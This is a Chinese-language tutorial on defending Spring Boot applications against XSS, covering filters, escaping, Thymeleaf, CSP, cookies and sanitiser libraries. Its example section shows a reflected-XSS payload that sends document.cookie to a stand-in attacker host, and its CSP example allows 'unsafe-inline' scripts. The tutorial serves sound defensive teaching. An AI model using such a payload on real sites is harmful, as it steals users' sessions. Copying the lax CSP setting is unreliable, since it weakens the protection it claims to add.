在Spring Boot中防御XSS攻击:原理、实践与注意事项

Web应用安全是开发者的必修课,XSS攻击作为OWASP Top 10的常客,需要开发者特别重视。本文将深入解析如何在Spring Boot应用中构建有效的XSS防御体系。

一、XSS攻击深度解析

1.1 什么是XSS攻击?

跨站脚本攻击(Cross-Site Scripting)通过注入恶意脚本代码,在用户浏览器中执行非法操作。其危害包括:

  • 窃取用户会话Cookie

  • 伪造用户操作

  • 钓鱼攻击

  • 网站挂马

1.2 XSS攻击类型对比

类型存储位置触发方式危害等级
反射型XSSURL参数用户点击恶意链接★★☆☆☆
存储型XSS数据库/文件存储访问包含恶意代码的页面★★★★★
DOM型XSS前端DOM树客户端脚本处理不当★★★☆☆

1.3 典型攻击示例

http://vulnerable-site.com/search?query=<script> 
  new Image().src='http://attacker.com/?cookie='+document.cookie;
</script>

二、Spring Boot防御方案实践

2.1 输入过滤方案

方案一:Servlet过滤器

@WebFilter("/*")
public class XssFilter implements Filter {
    
    private static final HtmlSanitizer sanitizer = new HtmlSanitizer();

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        XssRequestWrapper wrappedRequest = new XssRequestWrapper(httpRequest);
        chain.doFilter(wrappedRequest, response);
    }

    private static class XssRequestWrapper extends HttpServletRequestWrapper {
        public XssRequestWrapper(HttpServletRequest request) {
            super(request);
        }

        @Override
        public String getParameter(String name) {
            return sanitizer.sanitize(super.getParameter(name));
        }

        // 重写其他参数获取方法...
    }
}

方案二:自定义参数解析器

@ControllerAdvice
public class XssCleanAdvice {

    @InitBinder
    public void initBinder(WebDataBinder binder) {
        binder.registerCustomEditor(String.class, new PropertyEditorSupport() {
            @Override
            public void setAsText(String text) {
                setValue(text == null ? null : HtmlUtils.htmlEscape(text));
            }
        });
    }
}

2.2 输出编码方案

方案一:Thymeleaf自动转义

<!-- 默认开启HTML转义 -->
<div th:text="${userContent}"></div>

<!-- 禁用转义需显式声明 -->
<div th:utext="${trustedContent}"></div>

方案二:自定义JSON序列化

public class XssStringJsonSerializer extends JsonSerializer<String> {
    @Override
    public void serialize(String value, JsonGenerator gen, 
                          SerializerProvider provider) throws IOException {
        gen.writeString(HtmlUtils.htmlEscape(value));
    }
}

@JsonComponent
public class XssJsonConfiguration {
    @Bean
    public Module xssModule() {
        SimpleModule module = new SimpleModule();
        module.addSerializer(String.class, new XssStringJsonSerializer());
        return module;
    }
}

三、进阶防御措施

3.1 CSP内容安全策略

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.headers()
            .contentSecurityPolicy("default-src 'self'; script-src 'self' 'unsafe-inline'");
    }
}

3.2 安全Cookie设置

@Bean
public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setSameSite("Strict");
    serializer.setUseHttpOnlyCookie(true);
    serializer.setUseSecureCookie(true);
    return serializer;
}

四、特殊场景处理建议

4.1 富文本编辑器处理

使用专业HTML过滤库(如OWASP Java HTML Sanitizer):

public class RichTextSanitizer {
    private static final PolicyFactory POLICY = new HtmlPolicyBuilder()
        .allowElements("p", "div", "span", "img")
        .allowUrlProtocols("https")
        .allowAttributes("src").onElements("img")
        .build();

    public static String sanitize(String html) {
        return POLICY.sanitize(html);
    }
}

4.2 防御DOM型XSS

前端防御建议:


// 使用textContent代替innerHTML
dangerousDiv.textContent = untrustedData;

// 必须使用HTML时进行过滤
const sanitized = DOMPurify.sanitize(untrustedHtml);
safeDiv.innerHTML = sanitized;

五、注意事项与最佳实践

  1. 防御层次化:结合输入过滤+输出编码+安全头部的多层防御

  2. 过滤白名单:优先使用白名单策略而非黑名单

  3. 性能优化:对频繁访问的接口使用缓存机制

  4. 测试验证:使用自动化扫描工具(如OWASP ZAP)定期检测

  5. 日志监控:记录可疑的XSS攻击尝试

六、总结

构建完整的XSS防御体系需要:
✅ 理解不同XSS类型的攻击原理
✅ 实施多层次的防御策略
✅ 结合自动化和人工测试验证
✅ 保持安全策略的持续更新

安全无小事,防御XSS需要开发者保持警惕,将安全实践融入日常开发流程,才能构建真正可靠的Web应用。